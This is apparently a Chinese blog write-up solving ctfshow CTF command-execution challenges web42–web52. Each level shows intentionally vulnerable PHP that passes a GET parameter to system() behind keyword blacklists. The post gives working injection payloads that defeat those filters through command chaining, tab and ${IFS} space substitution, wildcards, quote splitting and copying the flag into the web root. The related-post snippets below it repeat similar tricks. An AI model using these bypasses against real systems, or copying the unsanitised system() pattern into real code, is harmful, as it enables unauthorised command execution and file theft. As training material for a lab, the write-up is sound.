web入门 命令执行 web42-web52

已于 2022-03-31 21:04:56 修改
阅读量4k 收藏 2
点赞数 1
分类专栏： ctfshow 从0开始学web 安全笔记 文章标签： 安全 web安全 php ctf
于 2022-03-26 14:21:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52444045/article/details/123755271
版权

文章目录

从42题之后，就跟前面的类型不一样了，之前是eval( c ) 后 面 的 是 s y s t e m ( c) 后面的是system( c)后面的是system(c)。所以就从这里在新开一篇文章了
‘

web42

 <?php
 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这个题是把往里面所有写的数据都写到了黑洞(/dev/null)里面,详细参考这篇文章：https://www.cnblogs.com/kexianting/p/11630085.html

>/dev/null 2>&1 就是让标准输出重定向到/dev/null中（丢弃标准输出），然后错误输出由于重用了标准输出的描述符，所以错误输出也被定向到了/dev/null中，错误输出同样也被丢弃了。执行了这条命令之后，该条shell命令将不会输出任何信息到控制台，也不会有任何信息输出到文件中。

所以让c=ls，是不会执行查看目录文件的操作的
在这里插入图片描述

这里呢 ，可以采用双写绕过
?c=ls;ls 这里呢，是把分号后面的ls写到黑洞里面去了，第一个ls就逃出来了
在这里插入图片描述

可以利用这种思想，查看flag
在这里插入图片描述

web43

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个相比上题，过滤了分号

除了分号，还可以用&&（要url编码后使用 %26%26）
先测试下ls
在这里插入图片描述
在这里插入图片描述
可以读到

那就可以直接构造payload获取flag了

在这里插入图片描述

web44

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题多过滤了flag，同样的，还是用==? * 通配符==绕过
?c=tac fla?.php%26%26ls
在这里插入图片描述

web45

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个题是又多过滤了空格，url编码的空格也被过滤了

如果过滤了空格，可以使用：

  • <>
  • %20(space)
  • %09(tab)
  • $IFS$9、 I F S 、 {IFS}、 IFS、IFS

这里使用%09编写下payload
?c=tac%09fla?.php%26%26ls
在这里插入图片描述
在这说一下为什么不用把tac命令放到system()里面去。因为代码就是system执行c啊

web46

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

到这里，把数字也过滤了，还有$、*这两个符号

先不考虑过滤，写一下?c=tac flag.php&&ls

&&是用url编码绕过，flag是采用通配符?(虽然*被过滤了，还是可以采用fla?.php)

空格被过滤了，在上一题中是用%09(制表符)绕过的，这个题还是可以的，因为%09中虽然有数字，但是会被浏览器解码，是不算作数字的

所以还是用上题的payload ?c=tac%09fla?.php%26%26ls
在这里插入图片描述

web47

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了几个查看文件的命令

详细查看linux查看文件内容的命令

Linux下查看文件内容可以通过以下命令：
		cat
		tac
		more
		less
		head
		tail
		nl
		tailf

但是，没有过滤tac，还是可以继续用上面的payload ?c=tac%09fla?.php%26%26ls
在这里插入图片描述

web48

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又多过滤了几个读取文件的命令，但是还没过滤tac，继续上面的方法
?c=tac%09fla?.php%26%26ls
在这里插入图片描述

web49

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次过滤了%
之前的payload还是可以的，%09的%会被解析成制表符，不算做%
?c=tac%09fla?.php%26%26ls
在这里插入图片描述

web50

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个把09和26过滤了，之前的方法就不可以了。得想新不用空格的方法了

使用nl带行号读 参考文章

?c=nl<flag.php||ls

把||进行url编码%7C%7C

flag绕过是采用中间加两个单引号，两个单引号分割字符串执行的时候会被忽略

所以，最终的payload为?c=nl<fla''g.php%7C%7Cls
在这里插入图片描述
查看源代码
在这里插入图片描述

web51

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个题呢，我没看出来跟50有啥区别

而且用50的payload也可以解决

?c=nl<fla''g.php%7C%7Cls
查看源代码得到flag
在这里插入图片描述

web52

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个把<>也过滤了，上面的方法是不行了，但是把$符号放出来了

空格就可以使用$IFS$9，$IFS，${IFS} 来绕过了

这个题可以试试复制重命名来搞

?c=mv${IFS}fla?.php${IFS}a.txt%7c%7cls

在这里插入图片描述
然后打开a.txt发现了个假flag
在这里插入图片描述

啊，看下根目录是不是有别的东西
在这里插入图片描述
果然有东西，把这个flag移动到网站目录下，先看一下网站目录
在这里插入图片描述

然后移动flag，?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt%7c%7cls
然后打开/b.txt就可以看到flag了
在这里插入图片描述

sec0nd_
关注
专栏目录
web-命令执行
wo41ge的博客
11-11 789
目录web29-过滤关键字web30-增加命令执行函数 web29-过滤关键字 命令执行，需要严格的过滤 进入题目链接 这是源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: h
ctfshow web入门 命令执行后篇(web55-web188)
ccfly1012的博客
09-04 1998
web55 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ ​ // 你们在炫技吗？ if(isset($_GET['c']..
CTFshow—web入门——命令执行
h_adam的博客
10-07 4612
web入门——命令执行web29功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 web29 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客
CTFshow Web入门 命令执行
m0_62905261的博客
05-01 1427
CTFshow Web入门 命令执行
CTFSHOW-WEB入门命令执行部分(持续更新）
Npceer-一位网安初学者的博客
02-01 663
命令执行0x01 web29 0x01 web29 笔记记在了另一个博客里面 第一次学命令执行 看了各路大佬的wp以及讲解视频 才能勉强拿到flag 视频 我这里就不细写了 自己也是一知半解 就不丢人了 大概学了手反引号和通配符的知识 ...
WEB命令执行
zip471642048的博客
01-06 1255
web29 简单绕过 web30 绕过禁用的system函数可以用passthru代替 常见执行命令的函数 https://blog.csdn.net/whatday/article/details/106985758 system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() web31 过滤了空格可以用%09代替 空格绕过 ${IFS} 但不能写作 $IFS $IFS$9 %09 <> <
[ctfshow]web入门——命令执行（web118-web122+web124）
ShenZ的博客
02-28 3817
[ctfshow]web入门——命令执行 文章目录[ctfshow]web入门——命令执行web118web119web120web121web122web124 web118 源码里有提示 非法输入会有evil input fuzz一下发现可以用大写字母A-Z和${}~.?: # echo ${PWD} /root # echo ${PWD:0:1} #表示从0下标开始的第一个字符 / # echo ${PWD:~0:1} #从结尾开始往前的第一个字符
CTFSHOW WEB入门 命令执行 web29-web36
m0_53194713的博客
06-26 1353
ctfshow web29 web30 web31
[ctfshow]web入门——命令执行（web54-web71）
ShenZ的博客
12-01 4350
文章目录web54 web54
[ctfshow]web入门——命令执行（web40-web53）
ShenZ的博客
11-29 1361
文章目录web40 web40 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $
web访问命令行
weixin_30788731的博客
07-25 641
https://github.com/yudai/gotty go get github.com/yudai/gotty gotty -p 8000 -w kubectl exec -it mysql-5fc8fb5766-vsw9s bash 转载于:https://www.cnblogs.com/mhc-fly/p/9366534.html
Web命令执行
qq_53086690的博客
06-16 399
利用通配符来执行命令 c=/?in/cat+/et?/passw? 可以当做/bin/cat/etc/passwd ?可以匹配任意字符 过滤空格的方法 %20(space)、%09(tab)、$IFS$9、 IFS、IFS 使用<或者<>来绕过空格 cat<a.txt 花括号扩展{,} {cat,/etc/passwd} $IFS 空格绕过 cat$IFS$1a.txt 变量控制 X=$'cat\x09./flag.php 关键词过滤 使用空变量 使用$*和$@，$x(x 代表 1
web网页相关的几个命令
尘埃落定
06-14 1955
1、wget wget URL 【选项】 【选项】： o : 将下载的内容以指定的文件保存； t ： 可以指定在放弃下载之前尝试多少次； 后面接次数 –limit-rate 带宽 ：限制下载占用带宽； -Q 配额大小： 指定最大下载配额quota ； -c ：断点续传 –mirror ： 复制整个网站（即镜像） –user username --password pass ...
Web入门---命令执行
最新发布
s849602863的博客
05-21 1096
ctfshow-Web入门---命令执行
web前端基本命令_每个Web设计人员都应掌握的基本和基本命令行
cune1359的博客
06-27 978
您可能在Web设计和开发教程中遇到过说明，该说明告诉您执行npm install或git clone等操作。这些是命令行界面（CLI）。 我们通常使用终端和命令提示符中的特定命令来告诉计算机执行特定任务 。 终端和命令提示符可能不是最方便使用的工具，特别是对于Web设计人员而言，这是可以理解的，因为Web设计人员可能更熟悉图形界面 。 但是，诸如Yeoman ， Bower和Google ...
Ctfshow web入门-web42
qq_45427131的博客
05-18 1302
web42 检查代码，发现代码似乎很简单？只需要输入命令执行，但是实际执行之后的小伙伴会发现如果只是输一个指令，回显都是空白，原因很简单。 在给变量c赋值的语句下面的语句”>/dev/null 2>&1“ ，可以将其理解成将输入的数写入黑洞 2>/dev/null 意思就是把错误输出到“黑洞” >/dev/null 2>&1 默认情况是1，也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”，还把错误输出2
web项目常用的Linux命令记录
sfh2018的博客
08-05 1189
1、查看进程 例如： ①. ps -ef|grep tomcat ②. ps -ef|grep java 1、查看进程
ctfshow-web52(命令执行)
m0_62094846的博客
01-28 619
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; .
ctfshow web入门命令执行
09-05
在CTF中，web入门命令执行指的是通过Web应用程序的漏洞，将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息，可以看到一些常见的双写绕过...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sec0nd_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值